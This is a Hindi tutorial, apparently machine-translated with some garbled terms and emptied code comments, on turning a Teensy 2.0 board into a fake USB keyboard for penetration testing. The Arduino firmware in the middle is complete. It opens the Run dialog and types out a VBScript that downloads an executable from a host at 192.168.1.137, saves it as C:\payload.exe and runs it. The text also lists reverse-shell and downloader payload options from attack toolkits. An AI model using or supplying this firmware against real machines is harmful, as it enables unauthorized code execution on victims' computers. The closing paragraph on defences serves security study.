Arduino HID एमुलेटर का मुकाबला करता है

हाल के वर्षों में, कई कुछ हटाने योग्य भंडारण मीडिया से सावधान हो गए हैं। और ठीक ही तो है। सब के बाद, एक तरह से या किसी अन्य, फ्लैश ड्राइव की जड़ में autorun.inf के साथ मुलाकात की। लेकिन, दुर्भाग्य से, मीडिया से ऑटोरन डिवाइस को कनेक्ट करते समय एकमात्र हमले वेक्टर से बहुत दूर है। आंतरिक प्रवेश परीक्षणों का संचालन करते समय, ग्राहक को सभी संभावित वैक्टरों को जांचना और प्रदर्शित करना आवश्यक होता है, जिसमें बाईपास डिवाइस के ताले भी शामिल होते हैं।
कटौती के तहत, एक छिपी हुई एमके डिवाइस का एक उदाहरण पर विचार करें जो एक छिपाई कीबोर्ड का अनुकरण करता है, जिसके बाद हमले के तहत सिस्टम पर कोड निष्पादन होता है।

हमला वेक्टर प्रौद्योगिकी और सोशल इंजीनियरिंग के जंक्शन पर स्थित है, अर्थात्, इसे एक डिवाइस को भौतिक रूप से कनेक्ट करने के लिए संभावित हमलावर की आवश्यकता होती है जो "इनपुट" होने का दिखावा करता है और स्वतंत्र रूप से आवश्यक कार्य करता है। उपरोक्त सभी शानदार दिखना बंद कर देते हैं, आपको बस बड़ी संख्या में उपयोगी और अज्ञात मूल के यूएसबी उपकरणों के बारे में याद रखना होगा, जो कर्मचारी, कभी-कभी, अपने कार्यस्थानों से जुड़ते हैं। आपको हमेशा बतख परीक्षण पर भरोसा नहीं करना चाहिए: यहां, सब कुछ जो फ्लैश ड्राइव की तरह दिखता है वह फ्लैश ड्राइव है।

लोहा

हार्डवेयर प्लेटफॉर्म के रूप में, हम Teensy USB Development Board , Teensy 2.0 का उपयोग करेंगे।

• USB समर्थन
• छोटे आयाम
• कम लागत ($ 16)
• Arduino संगत

मुलायम

एक माइक्रोकंट्रोलर के साथ कीबोर्ड पर कीस्ट्रोक का अनुकरण करने का बहुत नया विचार नहीं है, और हमारी मदद करने के लिए बहुत सारे तैयार समाधान हैं। विशेष रूप से, आप फर्मवेयर कोड को कई तरीकों से प्राप्त कर सकते हैं।

सोशल इंजीनियरिंग टूलकिट

यह बैक-ट्रैक में पूर्वस्थापित है, आपको पेलोड विकल्पों में से एक चुनने की अनुमति देता है:

• Powershell HTTP ने MSF पेलोड प्राप्त किया
• WSCRIPT HTTP, MSF पेलोड प्राप्त करता है
• पॉवर्सशेल आधारित रिवर्स शैल पेलोड
• इंटरनेट एक्सप्लोरर / फायरफॉक्स बीफ जैक पेलोड
• दुर्भावनापूर्ण जावा साइट पर जाएं और एपलेट पेलोड को स्वीकार करें
• सूक्ति wget डाउनलोड पेलोड

आउटपुट एक * .pde फाइल है जिसमें कंपाइल और फर्मवेयर के लिए प्रोग्राम कोड तैयार है।

कौटिल्य

एसईटी से मॉड्यूल की तरह, यह एक फर्मवेयर कोड जनरेटर है, लेकिन, उपरोक्त के विपरीत, इसमें अधिक विविध भार शामिल हैं और निखिल मित्तल नामक एक उत्साही द्वारा सक्रिय रूप से विकसित किया गया है । उदाहरण के लिए, संस्करण 0.2.1 में विंडोज के लिए 20 और लिनक्स के लिए 3 पेलोड विकल्प हैं। लेकिन अधिकांश कार्यक्षमता पावर-शेल के साथ जोड़तोड़ पर आधारित है, जो इसे हल्के ढंग से डालने के लिए, विंडोज एक्सपी में उपयोग करना मुश्किल बनाता है।

कोड खुद लिखें

सुविधा के लिए, आप फुकलिब लाइब्रेरी का उपयोग कर सकते हैं, जो " किशोर -वेक्टर" के क्षेत्र में एक अग्रणी द्वारा बनाई गई है, एड्रियन क्रेंशॉ (इरॉन्गेक) नामक एक व्यक्ति। यह कई नियमित संचालन को लागू करता है, उदाहरण के लिए, विभिन्न ऑपरेटिंग सिस्टमों के लिए लागू कमांड लाइन खोलना।

हम जो भी विधि चुनते हैं, अंत में हमारे पास हमारे फर्मवेयर के कोड के साथ एक फ़ाइल होगी, जिसे हमें एमके को संकलित करने और अपलोड करने की आवश्यकता है। ऐसा करने के लिए, Arduino और teesyduino को डाउनलोड और इंस्टॉल करें - arduino के लिए एक ऐड-ऑन जो हमारे प्लेटफॉर्म के लिए बिल्ड समर्थन जोड़ता है, साथ ही साथ दर्जनों उपयोगी उदाहरण भी।

यह संग्रह से पर्यावरण को अनपैक करने के लिए पर्याप्त है, और यह लॉन्च के लिए पहले से ही तैयार है। किशोरावस्था की स्थापना के दौरान, एक यूएसबी सीरियल ड्राइवर भी स्थापित किया जाएगा, और आपको सर्वो से लेकर जीपीएस रिसीवर तक सभी प्रकार के बाह्य उपकरणों के साथ काम करने के लिए अतिरिक्त पुस्तकालयों का चयन करने के लिए प्रेरित किया जाएगा। हमारे आज के कार्य के लिए, उनमें से किसी की आवश्यकता नहीं होगी, लेकिन वे सभी अपने आप में काफी उत्सुक हैं और कोड उदाहरणों के साथ हैं।



अब रन करें और बोर्ड के प्रकार का चयन करें।



हम इनपुट डिवाइस का अनुकरण करेंगे, इसलिए हम उपयुक्त प्रकार के यूएसबी का चयन करते हैं।



तो, एक मामूली टूलकिट तैयार है, और आप एक प्रोग्राम लिखना शुरू कर सकते हैं।

चलो रॉक!

वैश्विक चर सेट करें
int ledPin = 11; // ,
int complete_flag =0; //, ,

मुख्य लूप से पहले, सेटअप () फ़ंक्शन को एक बार निष्पादित किया जाता है। इसमें, हम एलईडी के साथ ब्लिंक का स्वागत करते हैं, और साथ ही सिस्टम के साथ HID डिवाइस को आरंभीकृत करने के लिए कुछ सेकंड देते हैं।

void setup() {
pinMode(ledPin, OUTPUT);
for(int i=0;i<=2;i++)
{
delay(1000);
digitalWrite(ledPin,HIGH);
delay(1000);
digitalWrite(ledPin,LOW);
} }

शुरू करने के लिए, हम विन + आर हॉटकी को "दबाकर" मानक कमांड निष्पादन संवाद कहते हैं।

void loop() {
if(!complete_flag)
{
Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();

संवाद खुलने के बाद थोड़ा इंतजार करें। यहां और इस उदाहरण में आगे, 1 सेकंड की देरी का उपयोग किया जाता है - एक मूल्य जो वास्तविक परिस्थितियों के लिए अनुचित रूप से बड़ा है और सिस्टम की जवाबदेही पर निर्भर करता है (ऐसा होता है कि एक नोटबुक आधा मिनट खुलता है)।

delay(1000);

नोटपैड चलाएं।

Keyboard.println("notepad");
delay(1000);

अब हमारे सामने एक टेक्स्ट एडिटर है, हम एक वीबीएस स्क्रिप्ट "टाइप" करेंगे जो एप्लिकेशन को थर्ड-पार्टी सर्वर से डाउनलोड और रन करेगा।

Keyboard.println("Set xml=CreateObject(\"Microsoft.XMLHTTP\")");
Keyboard.println("xml.Open \"GET\",\"http://192.168.1.137/calc.\"&\"exe\",False");
Keyboard.println("xml.Send");
Keyboard.println("set oStream=createobject(\"Adodb.Stream\")");
Keyboard.println("Const adTypeBinary=1");
Keyboard.println("Const adSaveCreateOverWrite=2");
Keyboard.println("Const adSaveCreateNotExist=1 ");
Keyboard.println("oStream.type=1");
Keyboard.println("oStream.open");
Keyboard.println("oStream.write xml.responseBody");
Keyboard.println("oStream.savetofile \"C:\\payload.\"&\"exe\", 2");
Keyboard.println("oStream.close");
Keyboard.println("Set wshShell=CreateObject(\"WScript.Shell\")");
Keyboard.println("WshShell.Exec (\"C:\\payload.\"&\"exe\")");

ड्राइव C (Alt + F4 -> Enter -> फाइल का नाम -> एंटर) दर्ज करें।

Keyboard.set_modifier(MODIFIERKEY_LEFT_ALT);
Keyboard.set_key1(KEY_F4);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println("");
delay(1000);
Keyboard.println("c:\\getpayload.vbs");

पहले की तरह, विन + आर, और नई बनाई गई स्क्रिप्ट को चलाएं।

Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println("c:\\getpayload.vbs");
complete_flag = 1;
} }


यह सभी को किशोरावस्था में भरने का समय है। ऐसा करने के लिए, बस अपलोड बटन दबाएं, और संकलन पूरा होने के बाद, हम एक किशोर-लोडर विंडो देखेंगे। यह USB के माध्यम से हमारे बोर्ड को जोड़ने और एक बटन दबाने के लिए बना हुआ है। फर्मवेयर के बाद, माइक्रोकंट्रोलर स्वचालित रूप से रिबूट और कार्यक्रम शुरू करेगा।

एक्शन!

अंत में, मैं यह नोट करना चाहता हूं कि ऐसे हमलों से बचाने के लिए, आप ओएस में नए उपकरणों को जोड़ने के लिए सुरक्षा नीति सेटिंग्स का उपयोग कर सकते हैं या विशेष साधनों को अवरुद्ध कर सकते हैं। लेकिन डिवाइस को सिस्टम द्वारा वेंडर आईडी और उत्पाद आईडी के संयोजन से पहचाना जाता है, जो बदले में, एक हमलावर द्वारा प्रोग्राम किया जा सकता है और सिस्टम में पहले से पंजीकृत लोगों के साथ पूरी तरह से मेल खाता है। इस प्रकार, यहां तक ​​कि श्वेत सूची द्वारा अवरुद्ध भी रामबाण नहीं है। HID एमुलेटरों की पहचान करने और उन्हें अवरुद्ध करने के लिए, मेरी राय में, हेयुरिस्टिक विधियों का उपयोग किया जाना चाहिए, उदाहरण के लिए, इनपुट गति में परिवर्तन के विश्लेषण के आधार पर।